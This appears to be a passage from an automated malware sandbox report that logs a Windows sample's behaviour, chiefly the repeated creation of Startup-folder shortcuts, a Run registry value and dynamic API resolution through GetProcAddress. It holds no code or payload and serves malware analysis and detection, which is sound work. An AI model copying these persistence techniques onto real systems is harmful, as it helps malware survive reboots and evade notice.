Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3b85e2d79f74cee913183f0bbdab7fc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab924826c2f24bd997abeca6199602f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d91df6b57f042339fb455f1c1a103ce.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11bb1c62ed594cf1a963e66f4d4660ba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_130bb5bb979d48cc9e60a0db2375ee0c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa9170993fff45d4b479ee45049d55e0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b43d747dafd346cf912625d10f11ecb8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee53a2bf96884f01b09d43fbaf92439d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7721170c62044023b2b9ad67d3a42097.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10964f0683114cd09f450cbf35ca23fe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ad3f76b9fd344dd97f4636ff6a9a6af.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0df883694ab247a9b29f713e389c01d9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b287d357951c4b1a83f374aa6bbe397c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3edc0e92708243f9951a66f51ca19e50.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f742a1a856dd435cb788a838cb968469.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8c47d407c724c628845d8ed291f5ec7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5443c8792b7241ee8bab701f5ba82fce.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd418bfb2da446ccbcc2cc087ed3089b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5f88c53962e4b3b8a9b0dfba8cee3c6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a7bf530fc40641878dc3d6e4b53982cc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba135cd4331e466f87ee0e3a2265fb61.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_362b93ee8c95459ea25ef1a7dfefa8d8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_016447432655400c81d6f2e9ec863ace.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0838d24322a84f3fbb157156bcf85a04.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ec1d584c4294053954289ca7f85978e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7504928e4681443390e680df0cc056d4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dea49491e95c43f5b4bdd936e4b9f0db.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07fa4c79f7204ad69c3554b56c383b72.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfafb3faa7794c45a0589326d8613c47.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdb0d632f77b4c13ab6875b560cfe7e0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1435286dd0142a0bd90a8c4089e725c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa4033d9a3dd4de5a3259d8557af10f4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24e24b2fa7f94d10a88b6bb51a2890d4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_910c61b241fa4539a4ae84caafa36082.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_131c79f2f2234ad39aab67984686eb12.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_639a5069d792485b8d527a5acd676be4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc14931c83ef4ed1958a98e4f1aa6358.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2f916f97aa648539394f96767ec1ef7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_427e9723522a4b1e816dc5fe07be0698.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f391ed73796d4b0b9aa65c476173d4ba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41ba1aef2f1e48b89fa0a679ff454984.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d04b6584e4544afa4f2d74eafe46fdc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23894f5d7bdd47cea3cf20ef832fe2b5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce2a4bf918fd4bf79d7ba3f9dbdc98e2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c65cf777aac4c7c98e60e5fe3ea64b2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64d61972cc6a4c6f9824e4b468000564.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2d3f6cedbf24f2eadfd846be0ea84e4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30db688b48ad407e8d26fcafd3bc43ea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f203461ed3f54099a43e61a4fa79e7df.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_508794ac0df744818ffa3501607b62a1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9e52bec68454d7f8db7cc1e05061538.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0385928629944778b2724aec0db1df33.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af0762982b264f6d84a82cece4ffc5c1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_444815b50e5c49c38dae249b0eacd34f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87322271bf0c4a52a6ea5cf738a19ca8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_08974abe4f094b60ac2f760814dbd4d6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1998607768c84717b719a77547672d63.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_022a2f61e79f4cf2bf7c452290f9751b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21693d15e4664c01837f92d473c1fc44.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85a0215346684495b9a8dc827bc76dca.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25df9caa4858446e86db92c4ad1d62ec.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c69460b03e74cb398a3043b4ff42089.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a59916d88d3a47d8b20814ddda0440bb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12a5d23e72184ec491bd7c7886bf84f0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_531b7f5679004733a8d5669acf3c222c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f28473ed6134069b15f25a652cb7522.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9339e61d61634a1c8da600e5419e3750.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df2af7535f64820a426eab2fed19e5e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_262a55451cfe459dad006484e57ff0fc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4818f83208af43baaa7655035e0df76f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cca19c84d02a40528802781fc1b2fb22.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21c166fd89c0470e818cd81de4ac98e5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc8f45d4cb0b4b0a8720fbaca1d84461.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a22312269ffe4b7d82c54d639bef7cdf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d4f7b348e0f4329bb6e62278a935741.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_115a07de6d8446fcaee71c669b8628f5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5374c1c7dd544505880307111224d1f5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0349fb76d5714c1986b91935899a4f21.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6aa232588de47d5961cf698a7d7372c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a43bb2a218284d3faf95034d92bb5c40.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c451081f93c455588f827b8a02e342c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b119b4907bd943039f9c162bbdbd410e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d51846f363b848d2abff970aca79a11d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84eb78af97b44dc6a174b7bb3c29cec7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4d57623db064d419898538f58f31ae0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52a42962f19b49ee8d723796fabcbfd7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a40460a35aff4aa3a594be20dc7337a1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67a9ce341d9e4ee589ec3434ce1c9356.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9420d16d7224c958d9c4589d3c3343c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba82f9ba856346988b72867c4fbcd442.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6493f136c8aa4d7f9929a78af8fb7fa8.lnk Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0 Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_ccd2458d6ac54884ba6051fba5e93da0 Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
